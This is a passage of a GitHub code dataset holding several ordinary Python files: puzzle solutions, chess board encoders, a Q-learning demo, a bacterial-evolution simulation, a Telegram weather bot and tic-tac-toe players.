done.\\n\")\n\n def saveToDatabase(self, db_path):\n con = sql.connect(db_path)\n print(\"Uploading raw realizations to database:\")\n for each in self.rawRealizations:\n print(f\"\\t\\tUploading {each['trackName'].iloc[0]} to database.\")\n each.to_sql(each['trackName'].iloc[0], con,\n if_exists='replace', index=False)\n print(\"Uploading new entries to database recordings list.\")\n self.newRecordings.to_sql(\n 'listOfRecordings', con, if_exists='append', index=False)\n con.close()\n\n\n\"\"\"Calling simulation model to calculate.\"\"\"\nModel = Realizations()\nmain()\n\"\"\"EOF\"\"\"\n","repo_name":"demustamas/Route-profile-recording","sub_path":"GNSS track data/GNSS_input.py","file_name":"GNSS_input.py","file_ext":"py","file_size_in_byte":11303,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"20728238161","text":"from collections import Counter\n\ndef readInput():\n\twith open('./day12Input.txt', 'r') as f:\n\t\tdata = f.readlines()\n\n\tmap = []\n\tfor node1, node2 in [x.strip().split('-') for x in data]:\n\t\tif node1 == 'start' or node2 == 'end':\n\t\t\tmap.append((node1,node2))\n\t\telif node1 == 'end' or node2 == 'start':\n\t\t\tmap.append((node2,node1))\n\t\telse:\n\t\t\tmap.append((node1,node2))\n\t\t\tmap.append((node2,node1))\n\n\treturn map\n\ndef recur(map, root, currentPath=[], paths=[]):\n\t#append current node\n\tcurrentPath.append(root)\n\n\tif root == 'end':\n\t\tpaths.append(currentPath)\n\n\telif root.isupper() or (root.islower() and root not in currentPath[:-1]):\n\t\tnextNodes = [x[1] for x in map if (x[0]==root)]\n\t\tfor next in nextNodes:\n\t\t\t#make new path copy due to branching\n\t\t\tnextPath = currentPath[:]\n\t\t\trecur(map, next, nextPath, paths)\n\n\t#all done!\n\treturn paths\n\ndef recur2(map, root, currentPath=[], paths=[]):\n\t#append current node\n\tcurrentPath.append(root)\n\n\tif root == 'end':\n\t\tpaths.append(currentPath)\n\n\telif root.isupper() or (root.islower() and len([x for x in dict(Counter([y for y in currentPath[:-1] if y.islower()])).values() if x > 1])==0) or (root.islower() and root not in currentPath[:-1]):\n\t\tnextNodes = [x[1] for x in map if (x[0]==root)]\n\t\tfor next in nextNodes:\n\t\t\t#make new path copy due to branching\n\t\t\tnextPath = currentPath[:]\n\t\t\trecur2(map, next, nextPath, paths)\n\n\t#all done!\n\treturn paths\n\ndef part1():\n\t#enumerate all paths that pass through small caves at most 1 time\n\t#probably going to need recursion\n\n\tmap = readInput()\n\n\tpaths = recur(map, 'start')\n\n\tprint('\\nThere are {} unique paths from start to finish.'.format(len(paths)))\n\ndef part2():\n\t#allowed 1 revisit to a small cave -- keep a global variable representing revisits to small caves\n\n\tmap = readInput()\n\n\tpaths = recur2(map, 'start')\n\n\tprint('\\nThere are {} unique paths from start to finish.'.format(len(paths)))\n\nif __name__ == \"__main__\":\n\tpart1()\n\tpart2()","repo_name":"brendanbikes/adventOfCode2021","sub_path":"day12/day12Code.py","file_name":"day12Code.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24782977286","text":"\"\"\"\n7662번\n이중 우선순위 큐\n\nhttps://www.acmicpc.net/problem/7662\n\"\"\"\nimport heapq\nimport sys\n\n\nt = int(sys.stdin.readline().rstrip())\n\nfor _ in range(t):\n k = int(sys.stdin.readline().rstrip())\n min_heap = []\n max_heap = []\n existing = [False] * 1_000_000\n\n for key in range(k):\n cmd, num = sys.stdin.readline().rstrip().split()\n num = int(num)\n\n if cmd == 'I':\n heapq.heappush(min_heap, (num, key))\n heapq.heappush(max_heap, (num * -1, key))\n existing[key] = True\n \n elif cmd == 'D':\n # 최소 값을 빼는 경우\n if num == -1:\n # min_heap이 존재하고 exist가 False 인경우(이미 사라진 경우)\n while min_heap and not existing[min_heap[0][1]]:\n # max_heap에서 이미 사라진 상태이므로 삭제한다.\n heapq.heappop(min_heap)\n # 비어있지 않은 경우\n if min_heap:\n # False 처리하고, 삭제\n existing[min_heap[0][1]] = False\n heapq.heappop(min_heap)\n # 최대 값을 빼는 경우, 로직은 최소 값을 빼는 경우와 동일\n else:\n while max_heap and not existing[max_heap[0][1]]:\n heapq.heappop(max_heap)\n if max_heap:\n existing[max_heap[0][1]] = False\n heapq.heappop(max_heap)\n \n while min_heap and not existing[min_heap[0][1]]:\n heapq.heappop(min_heap)\n while max_heap and not existing[max_heap[0][1]]:\n heapq.heappop(max_heap)\n\n if min_heap and max_heap:\n print(-max_heap[0][0], min_heap[0][0])\n else:\n print(\"EMPTY\")","repo_name":"dong5854/algorithm","sub_path":"BOJ/solved.ac/class3/python/7662.py","file_name":"7662.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"43237316099","text":"\"\"\"\nGiven an array of words and a length L, format the text such that each line has \nexactly L characters and is fully (left and right) justified.\n\nYou should pack your words in a greedy approach; that is, pack as many words \nas you can in each line. Pad extra spaces ' ' when necessary so that each line \nhas exactly L characters.\n\nExtra spaces between words should be distributed as evenly as possible. \nIf the number of spaces on a line do not divide evenly between words, \nthe empty slots on the left will be assigned more spaces than the slots on the right.\n\nFor the last line of text, it should be left justified and no extra space is \ninserted between words.\n\nFor example,\nwords: [\"This\", \"is\", \"an\", \"example\", \"of\", \"text\", \"justification.\"]\nL: 16.\n\nReturn the formatted lines as:\n[\n \"This is an\",\n \"example of text\",\n \"justification. \"\n]\n\"\"\"\n\nclass Solution(object):\n def fullJustify(self, words, maxWidth):\n \"\"\"\n :type words: List[str]\n :type maxWidth: int\n :rtype: List[str]\n \"\"\"\n def create(b, e):\n thisword = ''\n space = maxWidth - width + c\n if c == 1:\n r.append(words[e-1]+' '*space)\n return\n if e == length:\n for k in range(b,e-1):\n thisword += (words[k]+' ')\n thisword += words[e-1] + ' '*(space-c+1)\n r.append(thisword)\n return\n single = space // (c-1)\n count = space%(c-1)\n for k in range(b,b+count):\n thisword += (words[k] + ' '*(single+1))\n for k in range(b+count,e-1):\n thisword += (words[k] + ' '*single)\n thisword += words[e-1]\n r.append(thisword)\n length = len(words)\n i = j = c = 0\n width = 0\n r = []\n while i maxWidth:\n create(j, i)\n j = i\n c = 0\n width = 0\n else:\n width += len(words[i])+1\n c += 1\n i += 1\n if i == length:\n create(j, i)\n return r","repo_name":"clumsyme/learn","sub_path":"python/solveleet/textJustification.py","file_name":"textJustification.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5259831626","text":"import sys\nsys.path.append('./../')\n\n\nimport web_plugins.app\nfrom web_plugins.app import application\nfrom web_plugins.response import HtmlResponse\nfrom web_plugins.session import InMemorySessionHandler\n\ndef session_app(request):\n\tresponse = HtmlResponse()\n\tresponse.response_text = \"Session Key\" + str(request.session.key)\n\ttry:\n\t\tcur_number = request.session[\"number\"]\n\texcept:\n\t\tcur_number = 0\n\trequest.session[\"number\"] = cur_number + 1\n\n\tresponse.response_text = response.response_text + \" Hit count: \" + str(cur_number)\n\treturn response\n\n\napplication.session_handler = InMemorySessionHandler()\napplication.handler = session_app\n","repo_name":"rileymat/web_plugins","sub_path":"examples/session_app.py","file_name":"session_app.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8522435609","text":"from operations import SignalProcessor\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef main():\n n = 64\n arguments = np.arange(0, n) * np.pi / 6\n function_values_1 = list(map(np.sin, arguments))\n function_values_2 = list(map(lambda x: np.sin(4 * x), arguments))\n\n basic_correlation = SignalProcessor.correlation_convolution(function_values_1, function_values_2, 1)\n print('Basic correlation complexity: {}'.format(SignalProcessor.complexity_counter))\n basic_convolution = SignalProcessor.correlation_convolution(function_values_1, function_values_2, -1)\n print('Basic convolution complexity: {}'.format(SignalProcessor.complexity_counter))\n\n fft_based_correlation = \\\n SignalProcessor.correlation_convolution_fft_based(function_values_1, function_values_2, 1)\n print('FFT-based correlation complexity: {}'.format(SignalProcessor.complexity_counter))\n fft_based_convolution = \\\n SignalProcessor.correlation_convolution_fft_based(function_values_1, function_values_2, -1)\n print('FFT-based convolution complexity: {}'.format(SignalProcessor.complexity_counter))\n\n np_correlation = np.correlate(function_values_1, function_values_2, mode='same')\n np_convolution = np.convolve(function_values_1, function_values_2, mode='same')\n\n # plotting part\n _, ((ax1, ax2), (ax3, ax4), (ax5, ax6), (ax7, ax8)) = plt.subplots(4, 2)\n\n ax1.plot(arguments, function_values_1)\n ax1.set(title='First sequence')\n ax1.grid()\n\n ax2.plot(arguments, function_values_2)\n ax2.set(title='Second sequence')\n ax2.grid()\n\n ax3.plot(arguments, basic_correlation)\n ax3.set(title='Basic correlation')\n ax3.grid()\n\n ax4.plot(arguments, basic_convolution)\n ax4.set(title='Basic convolution')\n ax4.grid()\n\n ax5.plot(arguments, fft_based_correlation)\n ax5.set(title='FFT-based correlation')\n ax5.grid()\n\n ax6.plot(arguments, fft_based_convolution)\n ax6.set(title='FFT-based convolution')\n ax6.grid()\n\n ax7.plot(arguments, np_correlation)\n ax7.set(title='Numpy correlation')\n ax7.grid()\n\n ax8.plot(arguments, np_convolution)\n ax8.set(title='Numpy convolution')\n ax8.grid()\n\n plt.show()\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"NasterVill/BSUIR_Labs","sub_path":"6 term/DSIP-Digital-Signal-and-Image-Processing-/Lab 2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"72"} +{"seq_id":"32390498950","text":"\"\"\"\nNon-configurable var data for the NC Py-Client.\n\"\"\"\n\n# -- Terminal Formattnig --\n\nWRAP_WIDTH, WRAP_HEIGHT = (78, 23)\n\n# -- Keyboard Constants ---\n\nC_RET1 = '\\n'\nC_RET2 = '\\r'\nC_INT = chr(3)\nC_EOF = chr(4)\n\nKEY_DEL = 127\nKEY_NEWLN = ord(C_RET1)\nKEY_TAB = ord('\\t')\n","repo_name":"btrzcinski/netchat","sub_path":"py-client/netclient/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"30732885975","text":"import torch\nimport chess.pgn\nfrom torch.nn.functional import one_hot\n\n\nPIECES_ENCODING = {\n 'p': 1, 'n': 2, 'b': 3, 'r': 4, 'q': 5, 'k': 6,\n 'P': 7, 'N': 8, 'B': 9, 'R': 10, 'Q': 11, 'K': 12\n}\nPIECES_ENCODING_REVERSE = dict((v, k) for k, v in PIECES_ENCODING.items())\n\n\ndef pgn2fens(pgn: str) -> list:\n \"\"\"\n Transform games from PGN file to list of positions in FEN format\n\n Args:\n pgn: Path to PGN file\n\n Returns:\n list of FEN strings for each game\n\n \"\"\"\n\n fens = []\n with open(pgn, encoding='utf-8') as mf:\n game = chess.pgn.read_game(mf)\n while game is not None:\n board = game.board()\n game_fens = []\n for move in game.mainline_moves():\n board.push(move)\n game_fens.append(board.fen())\n fens.append(game_fens)\n game = chess.pgn.read_game(mf)\n\n return fens\n\n\ndef fen_to_board_matrix(fen_string: str) -> torch.Tensor:\n \"\"\"\n Prepares board matrix representation based on FEN string\n\n Args:\n fen_string: String with chess position encoded in FEN format\n\n Returns:\n 8x8 matrix containing current board state\n\n \"\"\"\n\n board_tensor = torch.zeros((8, 8), dtype=torch.long)\n position_repr = fen_string.split(' ')\n board_repr = position_repr[0]\n board_rows = board_repr.split('/')\n\n for i, row in enumerate(board_rows):\n j = 0\n for c in row:\n if c.isdigit():\n j += int(c)\n else:\n v = PIECES_ENCODING[c]\n board_tensor[i, j] = v\n j += 1\n\n return board_tensor\n\n\ndef board_matrix_to_fen(board_tensor: torch.Tensor) -> str:\n \"\"\"\n Transform board matrix representation to FEN format\n\n Args:\n board_tensor: 8x8 matrix containing current board state\n\n Returns:\n String with chess position encoded in FEN format\n\n \"\"\"\n\n assert board_tensor.shape == torch.Size((8, 8)) # Ensure proper shape of tensor\n\n # Create FEN string from given matrix\n fen_string = \"\"\n counter = 0\n for row in board_tensor:\n for v in row:\n if v.item() in PIECES_ENCODING_REVERSE:\n if counter > 0:\n fen_string += str(counter)\n counter = 0\n fen_string += PIECES_ENCODING_REVERSE[v.item()]\n else:\n counter += 1\n if counter > 0:\n fen_string += str(counter)\n counter = 0\n fen_string += '/'\n\n fen_string = fen_string[:-1] # Remove '/' at the end of string\n\n return fen_string\n\n\ndef fen_to_one_hot_matrix(fen_string: str) -> torch.Tensor:\n \"\"\"\n Prepares one-hot representation of position based on FEN string\n\n Args:\n fen_string: String with chess position encoded in FEN format\n\n Returns:\n 2D tensor of shape (8, 8, 13) representing chess position with pieces encoded as one-hot vector\n\n \"\"\"\n\n board_matrix = fen_to_board_matrix(fen_string)\n one_hot_matrix = one_hot(board_matrix, num_classes=13)\n return one_hot_matrix\n\n\ndef one_hot_matrix_to_fen(board_tensor: torch.Tensor) -> str:\n \"\"\"\n Transform one-hot representation to FEN format\n\n Args:\n board_tensor: Tensor of shape (8, 8, 13) containing bitboard position representation\n\n Returns:\n String with chess position encoded in FEN format\n\n \"\"\"\n\n assert board_tensor.shape == torch.Size((8, 8, 13)) # Ensure proper shape of tensor\n indices = torch.nonzero(board_tensor)[:, -1].reshape((8, 8)) # Extract indices of pieces\n fen_string = board_matrix_to_fen(indices)\n return fen_string\n\n\ndef fen_to_full_position_tensor(fen_string: str) -> torch.Tensor:\n \"\"\"\n Prepares full 1D one-hot representation including castle rights and side to move based on FEN string\n\n\n Args:\n fen_string: String with chess position encoded in FEN format\n\n Returns:\n 1D tensor containing bitboard representation of whole position (including castiling rights and side to move)\n\n \"\"\"\n\n # 5 additional bits representing side to move and castling rights\n input_size = 64*13 + 5\n board_tensor = torch.zeros((input_size, ), dtype=torch.long)\n\n # Encode board position\n board_matrix = fen_to_one_hot_matrix(fen_string)\n board_tensor[:8*8*13] = torch.flatten(board_matrix)\n\n position_repr = fen_string.split(' ')\n assert len(position_repr) == 6\n side_to_move = position_repr[1]\n castle_rights = position_repr[2]\n\n # Encode side to move\n if side_to_move == 'w':\n board_tensor[-5] = 1\n\n # Encode castle rights\n if castle_rights != '-':\n for i, c in enumerate(['K', 'Q', 'k', 'q']):\n if c in castle_rights:\n board_tensor[-4+i] = 1\n\n return board_tensor\n\n\ndef full_position_tensor_to_fen(board_tensor: torch.Tensor) -> str:\n \"\"\"\n Transform full 1D one-hot representation to FEN format\n\n\n Args:\n board_tensor: 1D tensor containing bitboard representation of whole position (including castiling rights and side to move)\n\n Returns:\n String with chess position encoded in FEN format\n\n \"\"\"\n assert board_tensor.shape == torch.Size((8*8*13 + 5, ))\n\n board_matrix = board_tensor[:8*8*13].reshape((8, 8, 13))\n fen_string = one_hot_matrix_to_fen(board_matrix)\n\n if board_tensor[-5]:\n fen_string += \" w \"\n else:\n fen_string += \" b \"\n\n for v, castle_right in zip(board_tensor[-4:], ('K', 'Q', 'k', 'q')):\n if v:\n fen_string += castle_right\n\n return fen_string\n","repo_name":"panpastwa/ChessMaster","sub_path":"src/utils/data_transform.py","file_name":"data_transform.py","file_ext":"py","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72167652712","text":"import gym\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom gym.envs.registration import register\nimport random as pr\n\ndef rargmax(vector):\n\tm = np.amax(vector)\n\tindices = np.nonzero(vector == m)[0]\n\treturn pr.choice(indices)\n\nregister(\n\tid = 'FrozenLake-v3',\n\tentry_point = 'gym.envs.toy_text:FrozenLakeEnv',\n\tkwargs={\n\t\t'map_name' : '4x4',\n\t\t'is_slippery' :False\n\t}\n)\n\nenv = gym.make('FrozenLake-v3')\n# initialize Q Table\nQ = np.zeros([env.observation_space.n,env.action_space.n])\n# set trainning count\nnum_episodes = 2000\n\nrList =[]\n\nfor i in range(num_episodes):\n\tstate = env.reset() # initial state\n\trAll = 0 # the total reward sum until unit episode\n\tdone = False\n\n\twhile not done:\n\t\taction = rargmax(Q[state,:]) # Q is 2-dimension array, choose state and select action that returns maxtimun value\n\t\tnew_state, reward, done, _ = env.step(action) # conduct action\n\t\t# update Q table\n\t\trAll += reward\n\t\tQ[state,action] = reward + np.max(Q[new_state,:])\n\t\tstate = new_state\n\t# end of one episode, add the total result, suc: 1, fail : 0\n\trList.append(rAll)\n\n# end of tranning\n\nprint(\"Success rate : \",str(sum(rList)/num_episodes))\nprint(\"Final Q table values\")\nprint(\"LEFT DOWN RIGHT UP\")\nprint(Q)\nplt.bar(range(len(rList)), rList, color='blue')\nplt.show()\n","repo_name":"HyunSu-Jin/Reinforcement-Learning","sub_path":"lab3/qLearning.py","file_name":"qLearning.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"5542472528","text":"from networkx import grid_graph\nimport networkx as nx\nimport numpy as np\nimport random\nfrom matplotlib import colors, cm\nimport matplotlib.pyplot as plt\nimport pandas as pd\n#%matplotlib qt\n\nimport matplotlib.animation as animation\n#from dendropy.calculate import treemeasure\n#from dendropy import Tree as DTree\n\nfrom random import sample, random, choice\n#from copy import deepcopy\n#from math import log\n#from matplotlib. import PillowWriter\n#from ete3 import Tree, NodeStyle, TreeStyle\n#import tqdm\n#from Bio import Phylo\n#from plot_eteTree import plot_tree\nfrom collections import Counter\n#import pandas as pd\nfrom scipy.stats import poisson \n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# Takes a genotype and converts it to an integer for use indexing the fitness landscape list \ndef convertGenotypeToInt(genotype):\n\tout = 0\n\tfor bit in genotype:\n\t\tout = (out << 1) | bit\n\treturn out\n\n# Converts an integer to a genotype by taking the binary value and padding to the left by 0s\t\t\ndef convertIntToGenotype(anInt, pad):\n\toffset = 2**pad\n\treturn [int(x) for x in bin(offset+anInt)[3:]]\t\n\ndef flip(allele):\n if allele ==1:\n allele = 0\n else:\n allele =1\n \n return allele\n\n\ndef fitness(d,m,k,s_p,s,pk):\n p = s - s_p\n y = s + (p)* ((d**k)/((d**k)- (s-p)/s))*((m - pk)/pk)\n return y\n\n\ndef mutation(r,dist):\n check = np.append(dist,r)\n check.sort()\n m = np.where(check ==r )[0][0]\n return m\n \ndef poisson_max_cdf(x,mu,n):\n y = poisson.cdf(x,mu)**n\n return y\n \n \ndef sort_pairs(pair):\n # Extract integer after \"r\".\n return int(pair[0][1:])\n \ndef make_tree_from_list(mut_pairs):\n parents = []\n children = []\n pairs_of_mutations = []\n for item in mut_pairs:\n a = 'r'+str(item[0])\n b = 'r'+str(item[1])\n pairs_of_mutations.append((a,b))\n t = Tree() # Creates an empty tree\n r0 = t.add_child(name=\"r0\")\n lookup = {\"r0\": r0}\n\n for pair in sorted(pairs_of_mutations, key=sort_pairs):\n parentname = pair[0]\n childname = pair[1]\n if childname not in lookup:\n if parentname in lookup:\n newchild = lookup[parentname].add_child(name = childname)\n lookup.update({childname: newchild})\n\n parents.append(parentname) #make list of unique terminal nodes (no children of children)\n children.append(newchild)\n else:\n print(pair)\n raise RuntimeError('Must not happen.')\n\n return t\n\ndef make_pruned_tree_from_list(mut_pairs):\n parents = []\n children = []\n pairs_of_mutations = []\n for item in mut_pairs:\n a = 'r'+str(item[0])\n b = 'r'+str(item[1])\n pairs_of_mutations.append((a,b))\n t = Tree() # Creates an empty tree\n r0 = t.add_child(name=\"r0\")\n lookup = {\"r0\": r0}\n prune_list = ['r0']\n for pair in sorted(pairs_of_mutations, key=sort_pairs):\n parentname = pair[0]\n childname = pair[1]\n if childname not in lookup:\n if parentname in lookup:\n newchild = lookup[parentname].add_child(name = childname)\n lookup.update({childname: newchild})\n if parentname not in parents:\n prune_list.append(lookup[parentname])\n parents.append(parentname) #make list of unique terminal nodes (no children of children)\n children.append(newchild)\n else:\n print(pair)\n raise RuntimeError('Must not happen.')\n prune_count = Counter(children)\n t.prune(prune_list)\n return t\n\ndef sim_user_abx(wt,ln, g, ab, \n mut_rate,k, s_p,s,pk,\n mut_select,track_pairs):\n \n \n \n width = wt\n length = ln\n grid_size = g\n \n ## bacteria per grid cell as mapped to MegaPLate\n bps = int(((60*((120/9)*5) * 10**8)/1)/(ln*wt))\n ##setup nx graph to find neibors quickly\n G = grid_graph(dim=[wt, ln])\n \n ##set up grid to keep track of cell state i.e. number of mutations\n cells = np.full((ln,wt),-1)\n cells[0] = 0 \n if track_pairs == True:\n ##set up grid to keep track of mutation events i.e. which order event resulted in the cell here if any\n muts = np.full((ln,wt),0)\n \n #dstribution of for max of scamples drawn from poisson\n t = np.linspace(0,pk,pk+1)\n if mut_select == 3:\n prob_dist = poisson_max_cdf(t,mut_rate,bps)\n\n #new \n if mut_select == 0:\n\n t = np.linspace(0,pk,pk+1)\n poisson_unbias = poisson.pmf(t,mut_rate)\n poisson_biased=[]\n for i in np.unique(abx_grad):\n poisson_biased.append((poisson.pmf(t,mut_rate)*((fitness(i,t,k,s_p,s,pk)+1)/2))/(sum(poisson.pmf(t,mut_rate)*((fitness(i,t,k,s_p,s,pk)+1)/2))))\n\n if mut_select == 1:\n t = np.linspace(0,pk,pk+1)\n poisson__max_unbias = poisson_max_cdf(t,mut_rate,bps)\n poisson_biased=[]\n for i in np.unique(abx_grad):\n poisson_biased.append((poisson__max_unbias*((fitness(i,t,k,s_p,s,pk)+1)/2))) \n \n \n \n \n ##set up grid that maps abx conc. to space\n ab = ab\n \n #storing cells and mutation\n cell_history = []\n mut_pairs = []\n mut_ID = 0\n half_time = 0\n ##begin evolution\n #while all(cells[-1] == -1) and len(cell_history) != 40002:\n #while all(cells[-int(ln/g)+2] == -1) and len(cell_history) != 40002:\n \n while all(cells[-1] == -1):\n \n ## save current state map to list\n cell_history.append(cells.tolist())\n if half_time ==0:\n if all(cells[-3*int(ln/g)+2] == -1) == False:\n half_time = len(cell_history)\n \n ##find slots where there is a living cells\n cells_where = np.where(cells != -1)\n \n \n ##create a randomized list of the living cells with which to iterate through\n cells_list = []\n for x, y in zip(cells_where[0], cells_where[1]):\n cells_list.append([x,y])\n \n np.random.shuffle(cells_list)\n \n ##decide if each living in this generation will die, live, or mutate\n for j in cells_list: \n g_draw = 2 * random() -1\n \n ##death\n j_muts = cells[tuple(j)]\n antibiotic_value = ab[tuple(j)]\n if fitness(antibiotic_value,j_muts,k,s_p,s,pk) < g_draw :\n cells[tuple(j)] == -1\n else:\n neighbors = [x for x in G.neighbors(tuple(j))]\n\n #find which of the neighboring cells are empty, and divide, with a daughter cell in that space\n empty = np.where(-1 == np.array([cells[tuple(x)] for x in neighbors]) )\n if len(empty[0]) != 0:\n pick = neighbors[choice(empty)[0]]\n\n #mutated daughter cells\n #m = mutation(random(),prob_dist)\n #m = np.random.poisson(mut_rate)\n\n if mut_select == 2:\n m = np.random.poisson(mut_rate)\n if mut_select ==3:\n m = mutation(random(),prob_dist)\n if mut_select ==0:\n m = np.random.choice(t,1,p = poisson_biased[np.where(ab[tuple(j)]== np.unique(ab))[0][0]])\n\n if m != 0:\n if track_pairs == True:\n mut_ID = mut_ID +1\n mut_pairs.append([muts[tuple(j)],mut_ID])\n\n muts[tuple(j)] = mut_ID\n cells[tuple(j)] = cells[tuple(j)]+m\n #divide\n cells[tuple(pick)] = cells[tuple(j)]\n \n\n\n \n return cell_history, mut_pairs, half_time","repo_name":"nkrishnan94/MegaPlate-CA","sub_path":"funcs.py","file_name":"funcs.py","file_ext":"py","file_size_in_byte":7784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"36675644734","text":"# -*- coding: utf-8 -*-\nfrom telebot import TeleBot, types\nfrom weather import weather_answer, weather_tomorrow\nfrom handler import add_log_string, add_subscription, top5_place, top5_place_user\nimport apikeys\n\n# Инициализация бота\nbot = TeleBot(apikeys.bot_apikey)\n\n\n# Создаем клавиатуры\ndef top5_place_for_key(user_id):\n \"\"\"Формирует избранные города на основе топов пользователя,\n всех пользователейи топа по-умолчанию\"\"\"\n top5_default = ('Москва', 'Санкт Петербург', 'Минск', 'Киев', 'Нур-Султан')\n return (top5_place_user(user_id) + tuple(i for i in top5_place() if i not in top5_place_user(user_id)) +\n tuple(i for i in top5_default if i not in top5_place_user(user_id) + top5_place()))[:5]\n\n\ndef create_inline_keyboard(place):\n markup = types.InlineKeyboardMarkup(row_width=2)\n item1 = types.InlineKeyboardButton(\"Сегодня\", callback_data=str(1) + place)\n item2 = types.InlineKeyboardButton(\"Завтра\", callback_data=str(2) + place)\n item3 = types.InlineKeyboardButton(\"Подписаться\", callback_data=str(3) + place)\n markup.add(item1, item2)\n markup.add(item3)\n return markup\n\n\ndef create_reply_keyboard(user_id):\n markup = types.ReplyKeyboardMarkup(resize_keyboard=True)\n keys_name = top5_place_for_key(user_id)\n item1 = types.KeyboardButton(keys_name[0])\n item2 = types.KeyboardButton(keys_name[1])\n item3 = types.KeyboardButton(keys_name[2])\n item4 = types.KeyboardButton(keys_name[3])\n item5 = types.KeyboardButton(keys_name[4])\n markup.add(item1, item2, item3, item4, item5)\n return markup\n\n\n# РАБОТА С БОТОМ\n# Обработка комнатды /start\n@bot.message_handler(commands=['start'])\ndef send_welcome(message):\n with open('static/welcome.webp', 'rb') as sti:\n bot.send_sticker(message.chat.id, sti)\n first_message = f\"Добро пожаловать, {message.from_user.first_name}!\\n Я - {bot.get_me().first_name}, бот \" \\\n f\"показывающий погоду по всему миру!\\n Введите название города, погода в котором вас интересует.\"\n bot.send_message(message.chat.id, text=first_message, parse_mode='html',\n reply_markup=create_reply_keyboard(message.from_user.id))\n\n\n# Обработка текстового сообщения\n@bot.message_handler(content_types=['text'])\ndef send_weather(message):\n place = str.title(message.text)\n answer = weather_answer(place)\n if answer == 'Place error':\n bot.send_message(message.chat.id, \"Введен несущестующий город. Попробуйте еще раз!\")\n else:\n bot.send_message(message.chat.id, answer, reply_markup=create_inline_keyboard(place))\n bot.send_message(message.chat.id, text='Какой еще город вам интересен?',\n reply_markup=create_reply_keyboard(message.from_user.id))\n add_log_string(user_id=message.from_user.id, place=place)\n\n\n# Обработка inline кнопок\n@bot.callback_query_handler(func=lambda call: True)\ndef callback_inline(call):\n try:\n place = call.data[1:]\n if call.message:\n if int(call.data[0]) == 1:\n answer = weather_answer(place)\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\n text=answer, reply_markup=create_inline_keyboard(place))\n elif int(call.data[0]) == 2:\n answer = weather_tomorrow(place)\n bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id,\n text=answer, reply_markup=create_inline_keyboard(place))\n elif int(call.data[0]) == 3:\n add_subscription(user_id=call.message.chat.id, place=place)\n answer = f\"Вы подписаны на получение погоды: {place}. Каждый вечер вы будите получать прогноз \" \\\n f\"на следующий день в этом месте\"\n bot.send_message(call.message.chat.id, text=answer,\n reply_markup=create_reply_keyboard(call.message.chat.id))\n bot.answer_callback_query(callback_query_id=call.id, show_alert=False, text=answer)\n\n except Exception as e:\n print(repr(e))\n\n\nbot.polling(none_stop=True)\n","repo_name":"anra-dev/new_telebot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4684,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38285720205","text":"# main.py\n\n# [2, 4, 1, 3, 2, 5]\n# pivot: 2\n# Less (than pivot): [1], Equal: [2, 2], Greater: [4, 3, 5]\n# pivot: 4\n# less: [3] equal: [4] greater: [5]\n# Repeatedly combine list in order of Less + Equal + Greater\nimport random\n\nnum = []\n\nfor i in range(10):\n num.append(random.randint(0,100))\n\ndef partition(lis, pivot):\n less = []\n equal = []\n greater = []\n for i in lis:\n if i < pivot:\n less.append(i)\n elif i == pivot:\n equal.append(i)\n else:\n greater.append(i)\n\n return less, equal, greater\n\nx = partition(num, num[0])\n\nprint(\"Lower: \"+str(x[0])+\"\\nEqual: \"+str(x[1])+\"\\nGreater: \"+str(x[2]))","repo_name":"AuritroSaha/auritro_coding_portfolio","sub_path":"JUNI/Python Level 3/AM11/Partitions.py","file_name":"Partitions.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10229692524","text":"from ascii_game.player import Player\nfrom tic_tac_toe.game_entities import TicTacToe\nfrom abc import ABC, abstractmethod\nimport random\nclass TicTacToePlayer(Player):\n def __init__(self, name, value, high_score=0):\n super().__init__(name, high_score)\n self.value = value\nclass ComputerPlayer(TicTacToePlayer):\n def __init__(self, name, value, high_score=0):\n super().__init__(name, value, high_score)\n @abstractmethod\n def move(self, board):\n pass\n def get_opponent_value(self):\n if self.value==TicTacToe.X:\n return TicTacToe.O\n return TicTacToe.X\nclass RandomComputerPlayer(ComputerPlayer):\n def move(self, board):\n return random.choice(board.avalible_moves())\nclass PerfectComputerPlayer(ComputerPlayer):\n NO_WIN = None\n CENTER = (1,1)\n CORNERS = [(0,0),(2,0),(0,2),(2,2)]\n def move(self, board):\n moves = board.avalible_moves()\n win = self.win_possible(moves, self.value, board)\n if win:\n return win\n opponent_win = self.win_possible(moves, self.get_opponent_value(), board)\n if opponent_win:\n return opponent_win\n if self.CENTER in moves:\n return self.CENTER\n for move in self.CORNERS:\n if move in moves:\n return move\n return random.choice(board.avalible_moves())\n \n def win_possible(self, moves, value, board):\n for move in moves:\n if board.try_move(move[0],move[1],value):\n return move\n 